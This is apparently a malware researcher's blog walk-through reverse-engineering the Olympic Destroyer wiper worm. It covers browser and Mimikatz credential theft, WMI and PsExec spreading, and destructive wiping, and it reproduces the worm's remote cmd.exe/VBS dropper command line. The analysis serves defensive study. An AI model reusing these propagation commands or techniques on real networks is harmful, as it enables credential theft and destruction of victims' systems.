Dissecting Olympic Destroyer – a walk-through

Introduction

After a destructive cyber attack had hit this year’s olympics, the malware was quickly dubbed Olympic Destroyer.  Talos were fast to provide initial coverage. A malware explicitly designed to sabotage the computer systems of the Olympic opening ceremony sounded very interesting, but other duties were more pressing at that time, so analysis for pure curiosity had to wait.  A few weeks later I had some free evenings on my hands and decided to combine a few interests of mine: Listening to music, consuming high quality whisky and analyzing malware – regrettably one of those things is frowned upon at work, and it’s not malware analysis. 😉

I had most of the binaries reversed and already written up a few pages, when Kaspersky released an article with some more details than previously publicly known. Having finished my work and focusing on the technical aspects of Olympic Destroyer, I think I can add several technical details about the malware. In the following expect plain and straight-forward binary analysis and reverse engineering in the form of a walk-through.

Olympic Destroyer comes in two types. The first one is a little bit simpler. It was discovered by Talos, who published it in their comprehensive blog post. One example of this type has the Sha256 of edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9.

The second type of the binary has, to the best of my knowledge, not yet been explicitly named, but it was implicitly analyzed by Kaspersky in their also very comprehensive blog post. One example has the Sha256 sum of e8349cfcc422310c259688b0226cb14f5196a6daad77b622405282aeac89ab06.

In the following blog post I will mainly describe the first type of Olympic Destroyer. At the end I will discuss the main differences between the two types, which revolve around the usage or non-usage of the well-known tool PsExec.

The Orchestrator

In this part we will cover the innermost functionality of the Olympic Destroyer. As orientation point we will use the main() function, from where on we will cover the single function calls step by step. Luckily Olympic Destroyer runs single threaded – except for the spreading functionality – which makes it easier to follow the execution one call after another.

The analyzed orchestrator has a Sha256 of edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 and is 0x1C6800 (~1.7MB) in size. A lot of this size is made up of five resources, whose role will be explained later on. IDA detects 756 functions of which not even ten were automatically identified by IDA FLIRT in version 6.9, which made the analysis more time consuming. IDA version 6.95 seems to have a newer FLIRT database and a lot of functions are identified automatically, as I realized way too late.

Configuration – or not

The main() function is located at 0x004071E0. It creates a structure on the local stack, which I called “config” when starting to reverse the binary. Over the time I discovered that it is merely a state or a singleton data container – nonetheless I kept the name “config” for reasons of consistency. This structure is carried throughout many of the subsequent function calls, most of the time in the form of thiscalls in the ecx register. You can find the whole structure in the appendix section below.

It contains different type of data, like simple integers, which for example describe the bitness of the OS with either the value 32 or 64 by dynamically resolving and calling IsWow64Process. Yes, the author(s) actually use full integers instead of encoding this information in a simple bit ¯\_(ツ)_/¯.

1
Detecting the bitness of the system

More interesting are probably the different paths of files dropped to the filesystem during runtime, which are also stored in this structure. I will describe them when writing about the resources.

Additionally, we find some security related variables, like the security token information of the current user, which is gathered by calling GetTokenInformation(TokenUser) and comparing the result against “S-1-5-18” (Local System), “S-1-5-19” (NT Authority Local Service), and “S-1-5-20” (NT Authority Network Service).

Most important is probably the vector of objects, which contains domain names and domain credentials, that are used to spread laterally through the network. More about this later on when I will cover the lateral movement.

After the config structure is initialized in 0x00406390 by nulling its members, it is dynamically filled with its respective values in the subsequent call to 0x00406500, where most of the previously mentioned values and information is generated. From then on, the config is ready for use and most values are only read instead of written – except for the file paths, which are generated more or less randomly on the fly when used and of course the credential vector, which gets expanded a few calls later.

Magical Code Injections

With a call to 0x004066C0 Olympic Destroyer checks for the existence of two files, which it uses to mark and avoid multiple runs of itself:

  1. C:\<MD5(Computer Name)>
  2. %SystemDrive%\Users\Public\<MD5(Computer Name\User Name)>

If one of those files is found, the function which I called “selfDeleteInjectBinary” at 0x00405DD0 is executed. Most of this function is already described in Endgame’s blogpost at https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights, but somehow they either misinterpreted the feature, or missed the main point of the shellcode. I’m not sure what their intention was, but their blog post somehow does not say what the shellcode actually does ¯\_(ツ)_/¯.

Olympic Destroyer starts an invisible “notepad.exe” by using the flags CREATE_NO_WINDOW in dwCreationFlags as well as STARTF_USESHOWWINDOW in StartupInfo.dwFlags and SW_HIDE in StartupInfo.wShowWindow before calling CreateProcessW.

2
Starting an invisible Notepad

Then it injects two blocks of data/code into the running notepad by calling VirtualAllocEx and WriteProcessMemory. The first block contains addresses of APIs and the path to the current executable, the second one is a shellcode which uses the addresses of the first block. By calling CreateRemoteThread the execution of the shellcode within notepad is started.

After this injection, the main process exits by calling ExitProcess while the execution of the injected thread runs in the process space of notepad. But all the shellcode does, is a simple delayed self-deletion mechanism:
First it sleeps a configurable number of seconds. In our case it is five seconds. After that, the shellcode looks for the original path of Olympic Destroyer, which was passed by the first injected memory block by checking GetFileAttributesW != INVALID_FILE_ATTRIBUTES. Then it tries to open the file with CreateFileW, gets the file size by calling GetFileSize and then loops over the file size and calls WriteFile with always one zero byte until the whole file is overwritten with zeros. After closing the file handle, the file is finally deleted with DeleteFile and the shellcode calls ExitProcess to end its execution.

To sum it up: The code injection is simply a nulling and deletion mechanism to hide the traces of the main binary.

Setting the markers for self-deletion

The two files, which mark multiple runs of Olympic Destroyer, mentioned in the previous paragraph, are then created:

3
Create infection markers

Depending on the rights under which the binary is running, the markers in C:\ and %COMMON_DOCUMENTS% are created. From then on, a second run of Olympic Destroyer will wipe the original executable.

Stealing credentials

In the following call to 0x004065A0, we will dive into a very important feature of Olympic Destroyer: The stealing of credentials from the current system, which are later used for lateral movement.

Olympic Destroyer contains five resources of type “BIN”. All of those resources are encrypted with AES. The calculation of the key is hard coded in the binary and can be described as a trivial MD5 hash of the string “123”. This hash is then concatenated twice in order to reach a key length of 256 bits for the AES algorithm. The evaluation of whether those shenanigans of symmetric cryptography with a hard coded key makes sense is left as an exercise for the reader. 🙂

When stealing the credentials, at first the resource 101 is decrypted, written to a more or less randomly generated filename in %tmp%. “More or less” because the algorithm is based on calls to GetTickCount() with Sleeps in between the calls.

After writing the decrypted resource to disk, a proper random string is generated by calling CoCreateGuid. The GUID is then used as the name for a named pipe in the form \\.\pipe\, which is created by calling CreateNamedPipeW and then used as inter process communication mechanism with the process, which is then started from the file written to %tmp%.

Resource 101

When resource 101 is started, it also gets the name of the pipe to communicate with its parent process as well as the password “123” as arguments. The main task of resource 101 is to use the password to decrypt and execute another resource of type “BMP” embedded in the file of resource 101 and send a buffer with stolen credentials to its parent process. So, it’s a simple loader which transfers a buffer via IPC.

The BMP resource is a DLL called “BrowserPwd.dll”. This DLL is not written to disk but parsed and loaded in memory. It seems that its only purpose is to steal credentials from the browsers Internet Explorer, Firefox and Chrome. In order to work with Firefox and Chrome, an SQLite library is compiled into the DLL, which makes up most of the DLL’s code.

  • For Internet Explorer it uses COM to iterate over the browsers history and then reads all autocomplete passwords from the registry in Software\Microsoft\Internet Explorer\IntelliForms\Storage2 and decrypts them using the WinAPI CryptUnprotectData.
  • For Firefox, the credentials are stolen from sqlite and logins.json. The nss3.dll from Firefox is used to decrypt the protected passwords.
  • For Chrome, the user’s database in […]\Application Data\Google\Chrome\User Data\Default\Login Data is copied temporarily and then the credentials are read and decrypted by calling the WinAPI CryptUnprotectData.

All stolen credentials are returned in a buffer which uses a special style of separating the single items. This buffer is constructed within the DLL and returned to its original loader, which is resource 101:

4
Stolen credentials are formatted in a certain way

This buffer is then sent from the loader via the named pipe to its parent process:

5
The loader of resource 101 uses the names pipe to transfer the buffer with the stolen credentials

Resource 102 and 103

After resource 101 was executed, a second attempt to steal credentials is started, in case the current process could acquire debug privileges during initialization of the config object. In case it has those right, depending on the architecture of the operating system, either resource 102 (x86) or 103 (x64) is started. Both executables have the same logic as resource 101 – decrypt and load a DLL in memory, execute the DLL and return its buffer via IPC –  only the payload in form of their internal DLL, the resource of type “BMP”, is different. Everything else stays the same.

So, the question is, what are the DLLs in the resources of resource 102 and 103? For 103, the x64 version, I did not look into it in order to save some time, but I assume it’s the very same payload as in 102, only for x64 systems. For 102, which is an x86 binary, the loaded internal DLL seems to be a custom version of the well-known penetration testing tool Mimikatz, which, besides other nifty features, can dump credentials from a Windows system. I did not spend too much time in the analysis of this DLL, but a swift look (as in “1-2 hours”), compared with several matching functions, structures and strings from the original code of Mimikatz are strong indicators that this DLL has actually Mimikatz’ credential dumping capability. This assumption was also verified by dynamic analysis, where the binary was actually stealing the credentials of my analysis machine. Additionally, the author(s) of Olympic Destroyer named this DLL “kiwi86.dll”, which is a reference to the nickname “gentilkiwi”, who is the author of Mimikatz.

After receiving the stolen credentials via the named pipes, Olympic Destroyer parses the received buffers and saves the credentials in its config structure. Then it returns its control flow to the main function.

Saving the Credentials – Or how to build a network worm

Back in the main function, right after stealing credentials from browsers and by the power of Mimikatz, Olympic Destroyer creates a copy of itself in the %tmp% folder in 0x00404040. If this copy succeeds, the copied file is modified in the next function call to  0x00401FB0. Here the whole file is read into a buffer in the process’ memory. Then this buffer is searched for the byte marker 9E EC 87 D4 89 16 42 09 55 E2 74 E4 79 0B 42 4C. Those bytes mark the beginning of the serialized credentials vector as an array:

6
Hex dump of Olympic Destroyer

I tried to mark the single elements of the array in different colors to describe them, but it turns out my MS Paint skills are really bad. So, you’ll just get a two pseudo structs defining what you can see around the red marked bytes:

struct credentials
{
byte marker[16];
WORD numberOfElements;
CREDENTIAL credentialArray[numberOfElements];
};
struct CREDENTIAL
{
WORD lengthOfUsername;
WORD lengthOfPassword;
char userName[lengthOfUsername];
char password[lengthOfPassword];
}

In our case there are 0x2C stolen credentials. The first block of credentials has a username\domain string of 0x1B bytes length and has a password of 0x0C bytes length. Then the second block of credentials follows, and so on.

Once Olympic Destroyer has located the array in its buffer, the array is written over with the serialized version of the current credentials vector of the config object. Then the executable modified in memory is written back to disk in the %tmp% directory.

In other words: The list of credentials, which was present when Olympic Destroyer was executed first, is now updated with all credentials stolen during runtime.

Resource 104 and 105 – Preparing the next steps

After updating a copy of itself with all stolen credentials, the execution flow returns to the main function where two consecutive calls to 0x00403F30 prepare the network spreading algorithm and the destructive parts. Both calls take a resource name as a first parameter for input and return a string with a path to a file. In this function Olympic Destroyer takes the same decryption algorithm as previously described and decrypts the resources 104 and 105. Both files are not yet executed but written to disk with a random filename in the %tmp% folder.

Resource 104 is a simple copy of the well-known tool “PsExec” which can be used to execute commands and files on remote computers. It will come into play when I describe the lateral movement.

Resource 105 though is the actual “Destroyer” of Olympic Destroyer.

Starting the Destroyer – Fulfilling the real purpose

After writing resource 104 and 105 to %tmp%, the function at 0x00404220 is called with the path to resource 105 as an argument. Here nothing magical happens. The file from the resource is simply executed without a visible window/console and the function returns:

7
Starting an invisible process

From here on the destroyer from resource 105 is running. It has its own chapter later on.

Lateral Movement

Once the destroyer part of Olympic Destroyer has been started in its own process, the main function calls 0x00406ED0 to start the network spreading routine.

At first two sanity checks are made by calling GetFileAttributesA in order to ensure that PsExec from resource 104 and the copy of Olympic Destroyer with the updated credentials list in the %tmp% folder exist. If both checks pass, a list of potential targets within the local network is built:
With a call to 0x00406DD0 Olympic Destroyer utilizes the GetIpNetTable API to enumerate all IPv4 addresses of the current ARP cache, thus getting all IP addresses the local machine had access to – considering ARP cache timeouts which can remove older entries, of course.

The list of IPv4 addresses is then passed to the function at 0x004054E0, along with a pointer to the config object as well as the path to PsExec and the updated copy of Olympic Destroyer in the %tmp% folder. I think it is noteworthy that passing both paths to the files in %tmp% is completely superfluous, since they are already a part of the config object, which is also passed as argument.

The function at 0x004054E0 is the heart of the spreading algorithm:
First, it reads the updated copy of Olympic Destroyer into memory. Then it initializes a new structure with all information passed as arguments as well as some additional information, which is somehow not really used later on. After that it calls 0x00407680, where the spreading in the network begins:
For each IP address, a new thread is spawned, which starts at 0x00407D40. This thread then loops over all credentials of the config object, trying to use WMI via COM objects in order to infect remote computers:

8
Remote command execution

The first important function for that is at 0x004045D0 (called executeRemoteCmdline), which gets one IP and one pair of credentials as input, as well as one command line to execute on the target machine – outPtr is used to transport the return value. The whole function is a mess of COM calls, but I’ll try to explain their meaning anyways. Words in italic are quotes from the binary:
This function creates a COM object of CLSID {4590F811-1D3A-11D0-891F-00AA004B2E24} and IID {dc12a687-737f-11cf-884d-00aa004b2e24} in order to remotely execute WMI commands. Then a connection to \\\root\CIMV2 is created and the credentials are applied by calling CoSetProxyBlanket. With the class Win32_Process and the function Create a Commandline is executed on the remote computer. With “Select * From Win32_ProcessStopTrace” the event for the termination of the remote process is registered in order to read its ExitStatus code afterwards.
The executed command line is rather simple:

“cmd.exe /c (ping 0.0.0.0 > nul) && if exist %programdata%\\evtchk.txt (exit 5) else ( type nul > %programdata%\\evtchk.txt)”

With the execution of ping a short delay is introduced, since the execution waits for ping to fail four times to ping the address 0.0.0.0. Then, in case the file %programdata%\evtchk.txt exists on the target system, the execution returns the exit code five. Otherwise said file is created and the execution finishes with its standard error code of zero.

The return value of the remote command line is then read and is returned via outPtr as a function argument from 0x004045D0. Interestingly the outPtr is only written to in case of a successful remote execution. All error cases leave the outPtr untouched. As the memory address of the target of outPtr is initialized with zeros, the caller of 0x004045D0 is unable to distinguish between an error during the remote code execution (e.g. because of false credentials or an unavailable IP) and the successful write of %programdata%\evtchk.txt file on the remote machine. ¯\_(ツ)_/¯

At 0x00404C30 the second interesting function (called writeFileToRemoteRegistryAndExecuteCommandlineVbs) is located. It takes the target IP address as well as the credentials as input. It is very similar to the function 0x004045D0 described previously. The main difference is that by using the StdRegProv class and the function SetBinaryValue a registry key in HKEY_CURRENT_USER\Environment with the name Data is created on the remote computer. The value of the registry key an executable file, but interestingly it is not the copy of Olympic Destroyer with the updated credential list in %tmp%, as I would have expected, but it is the binary which is currently executed and thus does not contain any of the current system’s credentials:

9
The remote spreading algorithm spreads the wrong binary

After the binary is written to the remote registry, the function at 0x00404C30 calls the function at 0x004044B0. Here the function Create of the COM class Win32_Process is used to remotely execute another command line. This command line is already known from the Talos blog post. For readability I pretty-printed the commands:

cmd.exe /c
(
echo strPath = Wscript.ScriptFullName
& echo.Set FSO = CreateObject^(\”Scripting.FileSystemObject\”^)
& echo.FSO.DeleteFile strPath, 1
& echo.Set oReg = GetObject^(\”winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\”^)
& echo.oReg.GetBinaryValue ^&H80000001, \”Environment\”, \”Data\”, arrBytes
& echo.Set writer = FSO.OpenTextFile^(\”%ProgramData%\\%COMPUTERNAME%.exe\”, 2, True^)
& echo.For i = LBound^(arrBytes^) to UBound^(arrBytes^)
& echo.s = s ^& Chr^(arrBytes^(i^)^)
& echo.Next
& echo.writer.write s
& echo.writer.close
) > %ProgramData%\\_wfrcmd.vbs && cscript.exe %ProgramData%\\_wfrcmd.vbs && %ProgramData%\\%COMPUTERNAME%.exe

The first set of echos outputs parts of a VB script, which are then written to %ProgramData%\_wfrcmd.vbs by using the redirect operator “>”. Afterwards this file is executed via the cscript interpreter before the executable %ProgramData%\%COMPUTERNAME%.exe is executed. This executable is created during the runtime of the newly created VB script, which basically just reads the executable stored in HKEY_CURRENT_USER\Environment\Data and writes it to %ProgramData%\%COMPUTERNAME%.exe.

Back in 0x00405170, the function at 0x004045D0 (executeRemoteCmdline) is called a second time. This time it removes the file %programdata%\evtchk.txt, which was previously checked or created on the remote computer by executing the command line “del %programdata%\evtchk.txt”.

To state the obvious, in case it got lost in all the text: %programdata%\evtchk.txt is intended as a mutex object on the remote computer, which marks that a remote infection is currently ongoing. This avoids that two computers running Olympic Destroyer’s infection routine infect the same target at the very same time. Yet, as this file is deleted right after the infection, it does not avoid multiple infections of the same target in general, but only in parallel.

While all previously mentioned remote infection threads are running, the main thread waits for their termination by calling WaitForMultipleObjects, where it waits for all spawned threads to finish.

Once all threads are finished and back in the function 0x00406ED0, the control flow enters a loop, which iterates over all credentials and passes them to the function at 0x00406780. This function also has the purpose of enumerating network targets. Once again COM objects are involved:
One main part of this function is the call to NetGetDCName, which gets the name of the primary domain controller. This name is formatted into the string “%s\\root\\directory\\LDAP” in order to use it with the same COM objects as before during the remote code execution (CLSID {4590F811-1D3A-11D0-891F-00AA004B2E24} and IID {dc12a687-737f-11cf-884d-00aa004b2e24}) by using the credentials, which are passed as function arguments. If everything works so far, the statement “SELECT ds_cn FROM ds_computer” is executed in order to get all computer names from the current domain. Then, for each computer, by calling GetAddrInfoW and ntohl the domain names are resolved to IPs. A vector of IPs is returned from 0x00406780. The IPs are then passed to the already known function at 0x004054E0 in order to infect those computers remotely.

When this IP enumeration and remote infection loop is finished, some objects and memory is cleaned up before the control flow returns back to the main function.

Self-Deletion – Or how to hide your traces, well, at least one of the many…

The last step in the main function, before freeing the remaining objects and memory, is the call to the already described function “selfDeleteInjectBinary” at 0x00405DD0. This time the sleep interval is only three instead of five seconds. So the spawned process tries to wipe the binary of the parent process every three seconds until it succeeds. The control flow of Olympic Destroyer then leaves the main function and the process exits, which will make the wiping of the binary possible.

I think it is noteworthy that none of the other dropped files are deleted. Everything in %tmp% remains and also all infection markers described previously are still there.

The Destroyer

A big part of this component’s functionality can be described in one picture by looking at the main function:

10
Destroyer main function

After giving itself the SeShutdownPrivilege and bluntly ignoring all potential erroneous API calls, the Destroyer calls the function at 0x00401000 (“execProcAndWaitForTerminate”) five times in a row in order to:

  1. Delete all shadow copies without prompt to avoid restoring the system
  2. Silently delete all backups created by the tool wbadmin
  3. Ignore all failures during boot and avoid starting the recovery mode
  4. Clear system logs
  5. Clear security logs

Then the function at 0x004012E8 (“deactivateAllActiveServices”) is called. The name in the screenshot is already a spoiler of the actual functionality: All services of the local computer are disabled. This is done by iterating over all possible types of services by calling EnumServicesStatusW with the dwServiceType parameter set to 0x13F and dwServiceState to SERVICE_STATE_ALL, and then calling ChangeServiceConfigW(SERVICE_DISABLED) for each service.
In combination with the previously disabled recovery mode and deleted backups, this bricks the local system on the next boot.

Back in the main function a thread is spawned which executes the function 0x004016BF (“wiperThread”). The main thread then sleeps for a fixed single hour before shutting down the system – no matter what the wiper thread did or didn’t do in the meantime. Note that this might also interrupt the spreading routine of Olympic Destroyer, which might still run.

The first thing the wiper thread does is setting its own thread priority to THREAD_PRIORITY_TIME_CRITICAL in order to get as much CPU cycles as possible. Then it recursively iterates over all available network resources with the APIs WNetOpenEnumW and WNetEnumResourceW. Each available resource is temporarily mounted by calling WNetAddConnection2W(CONNECT_TEMPORARY), yet the parameters for the username and password are set to zero, thus the current user’s credentials are used. It is important to note that the stolen credentials are not used here. This decouples the Destroyer logically from its parent process.
For each successfully mounted resource the function at 0x00401441 is called.
This function is also best described with a screenshot:

11
Remote wiping functionality

This function simply iterates recursively over all folders, starting at the mountpoint which is provided as an argument, and then destroys each single file that it finds:

  1. Files equal or smaller to 1MB in size are completely written over with zeros
  2. For files bigger than 1MB only the first 4096 bytes are nulled. Yet for most files this should be enough to render them useless

The wiper thread does not communicate with the main thread and there is no synchronization in any way. No matter if the wiping already finished or not, the system is shut down after one hour.
It might be a simple mistake to shut the system down after a fixed time: The wiping may not have wiped everything it can reach, or it could have already finished and the local computer is still useable until the shutdown. Additionally the remote spreading could still be ongoing.

Yet, I think it is more likely that this feature is a well-planned and sophisticated time bomb: Imagine Olympic Destroyer spreading through a network, wiping all it could wipe for one hour, when suddenly one system after another shuts down and is unable to boot.

Different types of Olympic Destroyer

As mentioned in the introduction, I found two different types of Olympic Destroyer. The simpler type was described previously. The second type has the very same functionality, it only adds a few more functions. Those additional functions have the purpose of extending the spreading functionality of Olympic Destroyer by leveraging PsExec, which was written to %tmp% but then ignored by the simpler version.

Using PsExec

The additional function call is placed right after writing/checking the file %programdata%\evtchk.txt and before the spreading function which uses COM objects and spreads the version of Olympic Destroyer which was not updated with the stolen credentials. This bugged behavior of spreading the wrong binary over COM exists in both versions.

The additional call to PsExec is done in the following way:

12
Format string for calling PsExec

PsExec is started with several parameters:

  • The first three parameter identify the target computer and the credentials which are applied
  • Then the dialogue to confirm the EULA of PsExec is skipped with “accepteula”
  • “-d” runs PsExec in a non-interactive way, which means that the caller does not wait for PsExec to terminate
  • With “-s” the remote process is started with System rights (in case the credentials allow that)
  • “-c” and “-f” specify that the actually executed file is copied to the target computer and overwritten in case it already exists
  • The last parameter is the remotely executed file, which is obviously Olympic Destroyer

This time the remotely executed binary is the copy of Olympic Destroyer in %tmp%, which was updated with the credentials stolen during the current run.

The output buffer returned from PsExec is parsed for the string “started”, which indicates to Olympic Destroyer that its call was successful. A successful remote infection using PsExec breaks the loop which iterates over the credentials for a fixed target computer. Thus the target is only infected once and the bugged COM infection is avoided.

A crippled worm and a capable worm

The simple version of Olympic Destroyer has some spreading functionality, although it is broken in the sense that the wrong binary is spread through the network. By not spreading the updated version of Olympic Destroyer, which contains the credentials stolen during the run, it loses a crucial part of its spreading capability:

Assume we have a computer “A” with a logged in user who has the rights which allow remote spreading of Olympic Destroyer. And a computer “B”, which is in reach of A, but where no user is logged in. A third computer “C” is only reachable over B but not over A.
If the simple version of Olympic Destroyer is executed on computer A, it will use the stolen credentials to infect computer B. But on computer B there are no credentials to steal, so it won’t be able to infect computer C.

In other words: The simple version of Olympic Destroyer can only spread to computers which are “one hop” in distance.
Yet, in most cases this should still be enough to infect a whole network, since a central Domain Controller is usually connected to most computers in the network.

Spreading the more advanced version including the stolen credentials gives Olympic Destroyer even better worming capabilities, since it gathers more and more credentials as it spreads further and further through a network.
In the previous example computer C could be infected from computer B by using the credentials stolen on computer A.

Crunching some numbers

In order to verify my findings with the two versions of Olympic Destroyer, I grabbed 36 different samples which are identified as Olympic Destroyer and compared their sets of stolen credentials. One sample had and empty list of credentials, so I discarded it.

It turns out that 23 of those samples are from the simple version type. All of them contained the same set of credentials, which were already described by Talos. They are for the domains g18.internal and Pyeongchang2018.com. All of the samples contained additional credentials stolen from various sandbox systems and virtual machines of researchers, who probably uploaded the files from the %tmp% folder to Virus Total during their analysis.

I could not find a single sample which contained only a subset of the credentials stolen from the g18.internal and Pyeongchang2018.com domains. If you strip the credentials from sandboxes and researchers, all 23 samples contain the same set of crendetials. This supports the findings that the simple version of Olympic Destroyer has a broken spreading algorithm.

In contrast to that, 12 samples of the total 36 are from the ATOS network with the domain ww930, as partially described by Kaspersky. Apparently the more capable version of Olympic Destroyer was spreading here, thus the differences in the list of credentials is bigger. The first pair of credentials in this set can be found in all 12 samples. But the rest of the credentials is a mix stolen from different computers in the same network. We can see that the worm took different paths when spreading though the network, acquiring the credentials of at least five different computers.

After removing the credentials from researchers and sandboxes, we are left with five unique sets of credentials. If one subset of credentials is one letter, the sets can be described as A, AB, AC, AD and ADE. This shows that the more capable version of Olympic Destroyer actually inherits its list of stolen credentials to the infected systems.
The samples in question are:

1942f14326f8ffa3afc83946ba9ec06abe983a211939f0e58362f85dd2a6b96a
25089ec24167f3caa413a9e1965c7dfc661219f45305187070a1e360b03f869c
6d7d35b4ce45fae4a048f7e371f23d1edc4c3b6998ab49febfd7d33f13b030a5
9085926d0beacc97f65c86c207fa31183c5373e9a26fb0678fbcd26ab65d6e64
90c956e8983116359662f8b82ae156b378d3fae02c07a18827b4c65f0b5fe9ef

It is likely that there are more samples out there which give a better picture of the way Olympic Destroyer wormed itself through the ATOS network.

PE timestamps

As the blog article of Kasperky has already shown, the author(s) of Olympic Destroyer had quite the fun in planting false flags. So, the compilation time stamps of the PE files should be taken with a grain of salt, as they can be easily forged.
Nonetheless they provide an interesting picture.

Simple version of Olympic Destroyer, PE time stamps ordered ascending:

Name Compilation Time Stamp Description
Resource 104 2016-06-28 18:43:09 Copy of PsExec
Resource 105 2017-12-27 09:03:48 Destroyer
DLL in Resource 101 2017-12-27 11:44:17 Browser Password Stealer
DLL in Resource 102 2017-12-27 11:44:21 Windows Account Password Stealer
Resource 101 2017-12-27 11:44:30 Loader for internal DLL
Resource 103 2017-12-27 11:44:35 Loader for internal x64 DLL
Resource 102 2017-12-27 11:44:40 Loader for internal DLL
Main binary 2017-12-27 11:44:47 Olympic Destroyer

(Note that I did not extract the time stamp for the DLL in the resource of resource 103)

The PE time stamps of the more complex version in ascending order:

Name Compilation Time Stamp Description
Resource 104 2016-06-28 18:43:09 Copy of PsExec
Resource 105 2017-12-27 09:03:48 Destroyer
DLL in Resource 101 2017-12-27 11:38:53 Browser Password Stealer
DLL in Resource 102 2017-12-27 11:38:58 Windows Account Password Stealer
Resource 101 2017-12-27 11:39:06 Loader for internal DLL
Resource 103 2017-12-27 11:39:11 Loader for internal x64 DLL
Resource 102 2017-12-27 11:39:17 Loader for internal DLL
Main binary 2017-12-27 11:39:22 Olympic Destroyer

Some of those values actually make sense, although they might have been crafted in order to do so. The DLLs which are resources of resource 101 and 102 have to be compiled before they can be embedded as resources, so their time stamps come first. The same goes for all resource which are embedded in them main binary of Olympic Destroyer.
PsExec in resource 104 is the original copy of PsExec, thus has the original time stamp.
A time difference of four to nine seconds for each binary sounds realistic, given only a few dependencies on external libraries. Unfortunately, the compilation with the biggest external dependencies, the DLL in resource 101 where SQLite is used, seems to be the first binary in the build chain. This is where I would have expected to see the biggest gaps in between the time stamps. But as it is the start of the build chain, we cannot compare it to any binary built before it.
By looking at the gaps, we can also see that everything except the destroyer part seem to be compiled in one block.
Also the more complex version of Olympic Destroyer seems to be compiled five minutes before the simpler version. Most probably the attacker(s) just compiled the first set of Olympic Destroyer, before commenting out the one function using PsExec (implicitly removing all the used sub-functions), and then recompiled the whole set.

It is noteworthy to point out that both versions of Olympic Destroyer use the very same copy of the destroyer component. Not only the compilation time stamps are the same, but also their hash sums.

 

Summary

This article has shown the innermost working of the malware called Olympic Destroyer. We have seen that by pure reverse engineering of the malware samples, a plethora of information can be obtained and deduced.

The analysis indicates that Olympic Destroyer consists of two completely independent parts: The first one is a framework for network spreading using resource 101 to 104 in order to spread as fast and as far as possible in the local network. The second one is the destructive component. Both parts work completely independent from each other. Resource 101 to 103 have a strong logical dependency on the main binary by receiving the decryption key as well as the name of the named pipe as arguments. And the main binary depends on the information returned from the resources 101 to 103 formatted in a certain way. In contrast to that, the destroyer in resource 105 is only dropped and executed in a fire and forget manor. No arguments, return values or status codes are exchanged.
So I think it is correct to state that everything except the destroyer is merely a vehicle in form of a spreading framework to deliver a payload. And the delivered payload is the destroyer. In theory every other payload could be delivered by simply exchanging the resource 105.

We have also seen that Olympic Destroyer comes in two different versions, which have been spread in two different networks. The spreading algorithm differs in the way that credentials stolen on one system are not carried on to the next infected system in one version.
It is unknown to me why the differences exist. Reading the Kasperky article indicates that the attackers already had a strong foothold in the g18.internal and Pyeongchang2018.com network. So it might have been enough to spread only one hop from the initial infected machine.  This decision could also be influenced by the defensive mechanisms employed at the targeted network. A proper network monitoring tool should mark the execution of PsExec as red flag, which might have been the reason to remove this part of the spreading algorithm.
The analysis of stolen credentials in the network of ATOS indicates that the attackers had a weaker foothold in the network, since, juding by the samples I looked at, only two sets of credentials were stolen on the initial infection (compared to 44 in the simpler variant). All other credentials were added during the spreading in the network. This weak foothold might have been the cause to go with a more aggressive spreading algorithm.

Appendix

Config structure as used in Olympic Destroyer:

struct config
{
DWORD credentialsVectorStart;
DWORD credentialsVectorEnd;
DWORD credentialsVectorMaxSize;
CRITICAL_SECTION critSect;
WSADATA wsadata;
char ressourceHpath[1024];
char randomTempPath[1024];
char ressourceIpath[1024];
char selfModulePath[1024];
char domainName[256];
char accountName[256];
char domainAndAccountName[256];
char v13[256];
DWORD bitness;
DWORD bVersionGreaterEqualVista;
DWORD bVersionSmallerEqualXP;
DWORD bHasSelfDebugPrivs;
DWORD bIsServiceOrAdmin;
DWORD bIsUserAccount;
};

Hashes used for analysis:

edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9
01e640a91d32230cd3f45e1594177393415585dbeba9ddbd31be2139935058d3
137148fe8223bc88661ac941ea1a648ad0fb6e49c359acd06781abd0a0493c01
1942f14326f8ffa3afc83946ba9ec06abe983a211939f0e58362f85dd2a6b96a
2239d109d7c01682c99a721d654643b7d8f4431887ecad6fb2d043dbdacfe226
25089ec24167f3caa413a9e1965c7dfc661219f45305187070a1e360b03f869c
254fbeb13f8d2dc36de3a3ffca653608d1b3420a20a20248d330500785b3945c
2bcbb1c165a6e31e085306224de3410249df50742ca3af069d58c7fd75d2d8c4
2bf9f3703b48bf1578a43479444107b33ff6ecea108b364fc73913a639c511d4
2c28f3b297a990b9d7a7163bac57ab68228c66109bb7a593702e556cdd455cce
3131a8208dc7441bf26592d7fed2ba5d9f9994e21d9b8396b4d2cda76a8a44d7
36a65a47cc464aac45a5d27372ea3b3584726d354f0792b9a77bfbe0cd0558bd
41a6d6f1dca75abc924960ee701b0df0e7adc8b7501ac4e2c00743d7266df7d3
5181fe760f456719b0ec505370df0b38055a5a3b202e1d50948fc92383a61c18
569fbe4f66fa09fb375fb87915da79dbafb1ef62d9a20849d1beea4eadb8e805
5d85fba3ff021b35bfba30d5d56b957ef084d818778ff77550bcf65755aa7849
5f37829988e827f05b42774db94e8a15e87e9de12e61b89c91bf5fddee90650c
6d7d35b4ce45fae4a048f7e371f23d1edc4c3b6998ab49febfd7d33f13b030a5
6f6e9dde888d2368c1c9973769a5ea76bbf634105ed4f8adf1e74624f39454ad
725efe161b8d0024cd330e3a3da194b46d16be14d57392fbfdf1ea71415d67b1
75fa1309be8fdca4a6df345a009b47938503d5227149838334581b08d40b7e2f
9085926d0beacc97f65c86c207fa31183c5373e9a26fb0678fbcd26ab65d6e64
90c956e8983116359662f8b82ae156b378d3fae02c07a18827b4c65f0b5fe9ef
98d4f0e8f91d7f4f1a3058b1a30220e3460cc821be704acfcb7fa2eb0c88818c
99ca9d41c2ea6a18436fbc173ce8f3e94b5a3d592d9e4fa978120d140d96aefa
a9f66d9dd3fd0f977381e83c1379fe664f22ebdd5695258fc388465cd3749562
af33d399d9cb8026d796daf95f5bda9da96bb021ad93c001a21aa38005f2faa7
b30b4acf05898c8a6338f5df6c3df7d7f06df8e67ccd773ffd83b5b8acff4cb8
bdfb1a9f59be657b5375689b357ef8e70e1e7332f52c2e79ab3be796e06858d1
